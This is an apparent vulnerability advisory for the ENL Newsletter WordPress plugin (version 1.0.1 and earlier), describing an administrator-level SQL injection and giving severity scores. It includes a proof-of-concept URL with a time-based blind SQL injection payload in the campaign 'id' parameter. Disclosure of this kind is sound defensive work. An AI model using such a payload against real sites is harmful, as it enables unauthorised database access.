ENL Newsletter <= 1.0.1 - Admin+ SQL Injection

2024-04-0500:00:00

Bob Matyas

sql injection

enl newsletter

update deadline

7.5 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

9.0%

JSON

Description The plugin does not sanitize and escape a parameter before using it in a SQL statement, allowing admin+ to perform SQL injection attacks

As an admin open a link like:

http://example.com/wp-admin/admin.php?page=enl-campaigns&action=campaign-run&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))nQIP)

There will be a delay indicating that the injection has succeeded.